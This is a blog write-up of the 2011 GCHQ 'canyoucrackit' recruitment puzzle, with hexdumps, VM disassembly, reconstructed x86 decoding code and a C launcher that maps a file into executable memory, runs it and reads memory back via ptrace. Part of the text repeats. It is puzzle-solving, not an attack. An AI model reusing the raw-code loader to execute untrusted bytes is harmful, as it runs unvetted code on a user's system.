== DISASM (after) 0x0000: movr r1, 4 0x0002: movr r3, 170 0x0004: movm r0, [ds:r2] 0x0006: xor r0, r3 0x0008: movm [ds:r2], r0 0x000a: add r2, 1 0x000c: add r3, 1 0x000e: cmp r2, 80 0x0010: movr r0, 20 0x0012: jmpe r0 0x0013: jmp r1 0x0014: xor r0, r0 0x0016: jmp 16:r0 0x0018: jmp r0 0x0019: jmp r0 0x001a: jmp r0 [...] 0x00fa: jmp r0 0x00fb: jmp r0 0x00fc: jmp r0 0x00fd: jmp r0 0x00fe: jmp r0 0x00ff: jmp r0 0x0100: movr r2, 0 0x0102: add ds, 12 0x0104: movr r1, 8 0x0106: movr r3, 50 0x0108: movm r0, [ds:r2] 0x010a: xor r0, r3 0x010c: movm [ds:r2], r0 0x010e: add r2, 1 0x0110: add r3, 3 0x0112: cmp r2, 0 0x0114: jmpe r3 0x0115: cmp r0, 0 0x0117: movr r0, 27 0x0119: jmpe r0 0x011a: jmp r1 0x011b: hlt 0x011c: jmp r0 0x011d: jmp r0 [...] 0x0130: jmp r0 0x0131: jmp r0 0x0132: add ds, 16 0x0134: jmp r1 0x0135: jmp r0 0x0136: jmp r0 0x0137: jmp r0 0x0138: jmp r0 0x0139: jmp r0 0x013a: jmp r0 0x013b: jmp r0 0x013c: jmp r0 0x013d: jmp r0 0x013e: jmp r0 0x013f: jmp r0 0x0140: invalid 0x0141: jmp r0 0x0142: jmp r0 0x0143: jmp r0 0x0144: jmp r0 0x0145: jmp r0 0x0146: jmp r0 0x0147: jmp r0 0x0148: jmp r0
Now at offset 0x100, we can see our decoded payload.
It is a second decoding loop ;).
It changes ds so it points to the encoded payload.
It stop decoding as soon as it reaches the end of the decoded string: '\0'.
The thing is ... we still have 256 bytes that we have no idea of what it is as we can seen from the dumps.
28 : 0x1c0 : 47 45 54 20 2f 64 61 37 35 33 37 30 66 65 31 35 | GET /da75370fe15 29 : 0x1d0 : 63 34 31 34 38 62 64 34 63 65 65 63 38 36 31 66 | c4148bd4ceec861f 30 : 0x1e0 : 62 64 61 61 35 2e 65 78 65 20 48 54 54 50 2f 31 | bdaa5.exe HTTP/1 31 : 0x1f0 : 2e 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .0.............. 32 : 0x200 : 37 7a 07 11 1f 1d 68 25 32 77 1e 62 23 5b 47 55 | 7z....h%2w.b#[GU 33 : 0x210 : 53 30 11 42 f6 f1 b1 e6 c3 cc f8 c5 e4 cc c0 d3 | S0.B............ 34 : 0x220 : 85 fd 9a e3 e6 81 b5 bb d7 cd 87 a3 d3 6b 36 6f | .............k6o 35 : 0x230 : 6f 66 55 30 16 45 5e 09 74 5c 3f 29 2b 66 3d 0d | ofU0.E^.t\?)+f=. 36 : 0x240 : 02 30 28 35 15 09 15 dd ec b8 e2 fb d8 cb d8 d1 | .0(5............ 37 : 0x250 : 8b d5 82 d9 9a f1 92 ab e8 a6 d6 d0 8c aa d2 94 | ................ 38 : 0x260 : cf 45 46 67 20 7d 44 14 6b 45 6d 54 03 17 60 62 | .EFg }D.kEmT..`b 39 : 0x270 : 55 5a 4a 66 61 11 57 68 75 05 62 36 7d 02 10 4b | UZJfa.Whu.b6}..K 40 : 0x280 : 08 22 42 32 ba e2 b9 e2 d6 b9 ff c3 e9 8a 8f c1 | ."B2............ 41 : 0x290 : 8f e1 b8 a4 96 f1 8f 81 b1 8d 89 cc d4 78 76 61 | .............xva 42 : 0x2a0 : 72 3e 37 23 56 73 71 79 63 7c 08 11 20 69 7a 14 | r>7#Vsqyc|.. iz. 43 : 0x2b0 : 68 05 21 1e 32 27 59 b7 cf ab dd d5 cc 97 93 f2 | h.!.2'Y......... 44 : 0x2c0 : e7 c0 eb ff e9 a3 bf a1 ab 8b bb 9e 9e 8c a0 c1 | ................ 45 : 0x2d0 : 9b 5a 2f 2f 4e 4e 00 00 00 00 00 00 00 00 00 00 | .Z//NN.......... 46 : 0x2e0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 47 : 0x2f0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
So you can see our decoded string is GET ...
[+] Initializing VM CPU [+] Executing bytecode [+] Finished executing bytecode [+] Answer: 'GET /da75370fe15c4148bd4ceec861fbdaa5.exe HTTP/1.0'
But after the GET, we have 256+ bytes that has not been modified in any way ...
Someone found what it is? (and no it does not seem to be a valid 7zip file :().
Conclusion
This level was more interesting and more programming related.
Implementing a VM was something I never did before ... but was fun :).
Any person who did some "Computer Science" should thus be able to solve this level without much difficulties.
To be continued on the next level ...
m_101
- My solutions: here
jeudi 1 décembre 2011
GCHQ Challenge Part 1 - http://www.canyoucrackit.co.uk/
Hello,
As I have seen that many people already posted their solutions ... I do not see the point of keeping mine :). Here it is.
Today I stumbled upon a challenge that seems to come from GCHQ itself.
GCHQ is basically part of the UK's Secret Service.
An article describing a bit the recruitment campaign:
GCHQ challenges codebreakers via social networks
Anyway, the challenge is located here:
http://www.canyoucrackit.co.uk/
The challenge is divided in 3 parts, the first part of which we see on the front page of the website.
Let's break it!
The challenge
We have a picture with hex digits:
From there, I've got 2 theories of what that is:
- raw data
- machine code
First of all, we need to get those "hex digits" down to binary form and hell yeah ... we're lazy:
You get most of the digits but you have to fix it to get this:
Okay, let's check the raw data we have:
I do not recognize any particular magic header value (no MZ or ELF or any executable related.
Let's go on our second hypothesis.
Is it machine code?
The first thing that set up red flags about machine code is the first byte: 0xeb!
0xeb for anyone used to shellcode is the opcode corresponding to an inconditionnal jmp on x86 processors.
I believe there must be some construct like this (as usual) or not too far from it:
For disassembling the file, I used ndisasm and cleaned a bit with some custom tools and vim.
Let's see the reconstructed code:
The first part (init_array and shuffle) looks like some RC4 variant.
Then we decode it using our RC4 variant ... but wait ... there is data missing!
Where is the encoded message?
If you look at the beginning of the PNG file you can see an encoded base64 string:
The base64 string "QkJCQjIAAACR2PFtcCA6q2eaC8SR+8dmD/zNzLQC+td3tFQ4qx8O447TDeuZw5P+0SsbEcYR78jKLw=" decodes to the following:
It is a NASM source which correspond bit to bit to the original gchq.bin ;).:
Let's dump the decoded string!
For this part, I did no want to patch the binary code as I would deem it inelegant.
Instead, I chose to write a "launcher" and ptrace our gchq code :).
Here it is:
Now compile it using this command line:
You can now launch it:
Pawned :).
Conclusion
Here we saw the first challenge of the GCHQ recruitment campaign, not too hard or not to bad for a first level :).
To be continued on the next level ;),
m_101
- My solutions: here
As I have seen that many people already posted their solutions ... I do not see the point of keeping mine :). Here it is.
Today I stumbled upon a challenge that seems to come from GCHQ itself.
GCHQ is basically part of the UK's Secret Service.
An article describing a bit the recruitment campaign:
GCHQ challenges codebreakers via social networks
Anyway, the challenge is located here:
http://www.canyoucrackit.co.uk/
The challenge is divided in 3 parts, the first part of which we see on the front page of the website.
Let's break it!
The challenge
We have a picture with hex digits:
From there, I've got 2 theories of what that is:
- raw data
- machine code
First of all, we need to get those "hex digits" down to binary form and hell yeah ... we're lazy:
$ gocr cyber.png
You get most of the digits but you have to fix it to get this:
eb 04 af c2 bf a3 81 ec OO 01 OO OO 31 c9 88 Oc Oc fe c1 75 f9 31 cO ba ef be ad de 02 04 Oc OO dO c1 ca 08 8a 1c Oc 8a 3c 04 88 1c 04 88 3c Oc fe c1 75 e8 e9 5c OO OO OO 89 e3 81 c3 04 OO OO OO 5c 58 3d 41 41 41 41 75 43 58 3d 42 42 42 42 75 3b 5a 89 d1 89 e6 89 df 29 cf f3 a4 89 de 89 d1 89 df 29 cf 31 cO 31 db 31 d2 fe cO 02 1c 06 8a 14 06 8a 34 1e 88 34 06 88 14 1e OO f2 30 f6 8a 1c 16 8a 17 30 da 88 17 47 49 75 de 31 db 89 d8 fe cO cd 80 9O 9O e8 9d ff ff ff 41 41 41 41
Okay, let's check the raw data we have:
$ hexdump -C gchq-part1.bin 00000000 eb 04 af c2 bf a3 81 ec 00 01 00 00 31 c9 88 0c |............1...| 00000010 0c fe c1 75 f9 31 c0 ba ef be ad de 02 04 0c 00 |...u.1..........| 00000020 d0 c1 ca 08 8a 1c 0c 8a 3c 04 88 1c 04 88 3c 0c |........<.....<.| 00000030 fe c1 75 e8 e9 5c 00 00 00 89 e3 81 c3 04 00 00 |..u..\..........| 00000040 00 5c 58 3d 41 41 41 41 75 43 58 3d 42 42 42 42 |.\X=AAAAuCX=BBBB| 00000050 75 3b 5a 89 d1 89 e6 89 df 29 cf f3 a4 89 de 89 |u;Z......)......| 00000060 d1 89 df 29 cf 31 c0 31 db 31 d2 fe c0 02 1c 06 |...).1.1.1......| 00000070 8a 14 06 8a 34 1e 88 34 06 88 14 1e 00 f2 30 f6 |....4..4......0.| 00000080 8a 1c 16 8a 17 30 da 88 17 47 49 75 de 31 db 89 |.....0...GIu.1..| 00000090 d8 fe c0 cd 80 90 90 e8 9d ff ff ff 41 41 41 41 |............AAAA|
I do not recognize any particular magic header value (no MZ or ELF or any executable related.
Let's go on our second hypothesis.
Is it machine code?
The first thing that set up red flags about machine code is the first byte: 0xeb!
0xeb for anyone used to shellcode is the opcode corresponding to an inconditionnal jmp on x86 processors.
I believe there must be some construct like this (as usual) or not too far from it:
jmp savepc getpc: pop pc jmp payload savepc: call getpc payload:
For disassembling the file, I used ndisasm and cleaned a bit with some custom tools and vim.
Let's see the reconstructed code:
bits 32 section .text global main main: jmp short begin key0: dd 0xa3bfc2af ; let's make some space for our buffer! begin: sub esp, 0x100 ; we init our buffer with value from 0 to 255 xor ecx, ecx init_array: mov [esp+ecx], cl inc cl jnz init_array ; shuffle values in the array xor eax, eax mov edx, 0xdeadbeef shuffle: add al, [esp+ecx] ; al += array[ecx] add al, dl ; index = al + dl ror edx, 0x8 ; every 4 rotations we get our original value ;) ; we swap values mov bl, [esp+ecx] ; bl = array[ecx] mov bh, [esp+eax] ; bh = array[ecx] mov [esp+eax], bl ; array[eax] = bl mov [esp+ecx], bh ; array[ecx] = bh inc cl ; go forward in our array jnz shuffle jmp dword save_pc get_encoded: mov ebx, esp ; pointer ebx to ret address on stack add ebx, strict dword 0x4 ; address of array (ignoring the ret address on the stack ;)) pop esp ; esp = program counter (point after the call to get_encoded) pop eax ; first 4 bytes after the call cmp eax, 0x41414141 jnz exit pop eax ; next 4 bytes after the call cmp eax, 0x42424242 jnz exit ; copy message to buffer in stack pop edx ; get length of message mov ecx, edx ; ecx = len(msg) mov esi, esp ; esi = &msg mov edi, ebx ; edi = address of array sub edi, ecx ; edi = ebx - len(msg) = start of dest area rep movsb ; copying the message to the stack (writing over array) ; init for decoding encoded message mov esi, ebx ; esi = &buffer mov ecx, edx ; ecx = len(msg) mov edi, ebx ; edi = &buffer sub edi, ecx ; edi = ebx - len(msg) = start of dest area xor eax, eax xor ebx, ebx xor edx, edx ; loop for decoding the secret message decode: inc al add bl, [esi+eax] ; get one byte of encoded message mov dl, [esi+eax] ; get one byte of encoded message mov dh, [esi+ebx] ; get one byte of encoded message ; swap values back mov [esi+eax], dh mov [esi+ebx], dl add dl, dh ; get index ; decode byte xor dh, dh mov bl, [esi+edx] ; get key mov dl, [edi] ; get encoded byte xor dl, bl ; decode byte ; save byte mov [edi], dl ; loop inc edi dec ecx jnz decode exit: xor ebx, ebx mov eax, ebx inc al int 0x80 save_pc: nop nop call dword get_encoded junk1: dd 0x41414141
The first part (init_array and shuffle) looks like some RC4 variant.
Then we decode it using our RC4 variant ... but wait ... there is data missing!
Where is the encoded message?
If you look at the beginning of the PNG file you can see an encoded base64 string:
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR| 00000010 00 00 02 e4 00 00 01 04 08 02 00 00 00 ef 6a b6 |..............j.| 00000020 2d 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 |-....sRGB.......| 00000030 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 |..pHYs..........| 00000040 9a 9c 18 00 00 00 07 74 49 4d 45 07 db 08 05 0e |.......tIME.....| 00000050 12 33 7e 39 c1 70 00 00 00 5d 69 54 58 74 43 6f |.3~9.p...]iTXtCo| 00000060 6d 6d 65 6e 74 00 00 00 00 00 51 6b 4a 43 51 6a |mment.....QkJCQj| 00000070 49 41 41 41 43 52 32 50 46 74 63 43 41 36 71 32 |IAAACR2PFtcCA6q2| 00000080 65 61 43 38 53 52 2b 38 64 6d 44 2f 7a 4e 7a 4c |eaC8SR+8dmD/zNzL| 00000090 51 43 2b 74 64 33 74 46 51 34 71 78 38 4f 34 34 |QC+td3tFQ4qx8O44| 000000a0 37 54 44 65 75 5a 77 35 50 2b 30 53 73 62 45 63 |7TDeuZw5P+0SsbEc| 000000b0 59 52 0a 37 38 6a 4b 4c 77 3d 3d 32 ca be f1 00 |YR.78jKLw==2....| 000000c0 00 20 00 49 44 41 54 78 da ec bd 79 74 1c d5 b5 |. .IDATx...yt...|
The base64 string "QkJCQjIAAACR2PFtcCA6q2eaC8SR+8dmD/zNzLQC+td3tFQ4qx8O447TDeuZw5P+0SsbEcYR78jKLw=" decodes to the following:
junk2: dd 0x42424242 msg_length: dd 0x00000032 msg_encoded: db `\x91\xd8\xf1\x6d\x70\x20\x3a\xab\x67\x9a\x0b\xc4\x91\xfb\xc7\x66\x0f\xfc\xcd\xcc\xb4\x02\xfa\xd7\x77\xb4\x54\x38\xab\x1f\x0e\xe3\x8e\xd3\x0d\xeb\x99\xc3\x93\xfe\xd1\x2b\x1b\x11\xc6\x11\xef\xc8\xca\x2f`
It is a NASM source which correspond bit to bit to the original gchq.bin ;).:
$ nasm gchq.asmSo the first challenge basically consist in executing the code and dumping the decoded string.
Let's dump the decoded string!
For this part, I did no want to patch the binary code as I would deem it inelegant.
Instead, I chose to write a "launcher" and ptrace our gchq code :).
Here it is:
// @author m_101 // @year 2011 // @desc Program for launching GCHQ code #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> // for memalign, mprotect #include <sys/mman.h> #include <errno.h> #include <malloc.h> #include <signal.h> // ptrace #include <sys/ptrace.h> // for registers #include <sys/user.h> #define __NR_exit 1 #define MSG_LENGTH 0x32 // launch a file int launch_file (char *filename) { // char *mem; void (*func)(); // file related FILE *fp; int szFile; if (!filename) return -1; // open file fp = fopen(filename, "r"); if (!fp) { fprintf(stderr, "error: Failed opening (r): %s\n", filename); exit(1); } // get file size fseek(fp, 0, SEEK_END); szFile = ftell(fp); fseek(fp, 0, SEEK_SET); printf("[+] File size: %d\n", szFile); // alloc aligned memory for file mem = memalign(PAGE_SIZE, szFile * sizeof(*mem)); if (!mem) { printf("[-] error: %s\n", strerror(errno)); return 1; } memset(mem, 0, szFile * sizeof(*mem)); // fill mem fread(mem, sizeof(*mem), szFile, fp); // set permissions if (mprotect(mem, szFile * sizeof(*mem), PROT_READ | PROT_WRITE | PROT_EXEC)) { printf("[-] error: %s\n", strerror(errno)); return 1; } // close file fclose(fp); // execute code printf("[+] Executing code at address %p\n", mem); func = (void *) mem; func(); return 0; } void regs_show (struct user_regs_struct *regs) { if (!regs) return; printf("eax: 0x%08lx\n", regs->orig_eax); printf("ebx: 0x%08lx\n", regs->ebx); printf("ecx: 0x%08lx\n", regs->ecx); printf("edx: 0x%08lx\n", regs->edx); printf("esi: 0x%08lx\n", regs->esi); printf("edi: 0x%08lx\n", regs->edi); printf("ebp: 0x%08lx\n", regs->ebp); printf("esp: 0x%08lx\n", regs->esp); printf("eip: 0x%08lx\n", regs->eip); printf("eflags: 0x%08lx\n", regs->eflags); printf("cs: 0x%08lx\n", regs->xcs); printf("ds: 0x%08lx\n", regs->xds); printf("es: 0x%08lx\n", regs->xes); printf("fs: 0x%08lx\n", regs->xfs); printf("gs: 0x%08lx\n", regs->xgs); printf("ss: 0x%08lx\n", regs->xss); } int main (int argc, char *argv[]) { int retcode; pid_t cpid; struct user_regs_struct regs = {0}; int cstatus; // for ptrace int syscall; // dump memory of child process char decoded[MSG_LENGTH * 2] = {0}; uint32_t word; uint32_t addr; int offset; // check number of arguments if (argc < 2) { printf("Usage: %s filename\n", argv[0]); return -1; } cpid = fork(); // child if (cpid == 0) { ptrace(PTRACE_TRACEME, 0, NULL, NULL); raise(SIGTRAP); launch_file(argv[1]); } // parent else if (cpid > 0) { // wait for child waitpid(cpid, &cstatus, 0); // trace the process to arrive to the exit syscall do { // get at syscall entry ptrace(PTRACE_SYSCALL, cpid, NULL, NULL); waitpid(cpid, &cstatus, 0); // get registers of child process ptrace(PTRACE_GETREGS, cpid, NULL, ®s); syscall = regs.orig_eax; // we are at exit syscall // then we finish the loop and do more processing if (syscall != __NR_exit) { // wait for syscall to complete // and avoid exiting process ptrace(PTRACE_SYSCALL, cpid, NULL, NULL); waitpid(cpid, &cstatus, 0); } } while (syscall != __NR_exit); // get registers of child process ptrace(PTRACE_GETREGS, cpid, NULL, ®s); printf("== Registers\n"); regs_show(®s); // dump decoded string addr = regs.esi - MSG_LENGTH; for (offset = 0; offset < MSG_LENGTH; offset += 4) { word = ptrace(PTRACE_PEEKDATA, cpid, addr + offset, NULL); // printf("word: 0x%08x\n", word); *((uint32_t *)(decoded+offset)) = word; } printf("\n[+] Decoded string: '%s'\n", decoded); // continue process (so it exits) ptrace(PTRACE_CONT, cpid, NULL, NULL); } // error else { printf("Failed fork\n"); } return 0; }
Now compile it using this command line:
$ gcc -m32 -g -o launcher launcher.c
You can now launch it:
$ ./launcher ./gchq [+] File size: 218 [+] Executing code at address 0x832f000 [+] Decoded string: 'GET /15b436de1f9107f3778aad525e5d0b20.js HTTP/1.1'
Pawned :).
Conclusion
Here we saw the first challenge of the GCHQ recruitment campaign, not too hard or not to bad for a first level :).
To be continued on the next level ;),
m_101
- My solutions: here
Inscription à :
Articles
(
Atom
)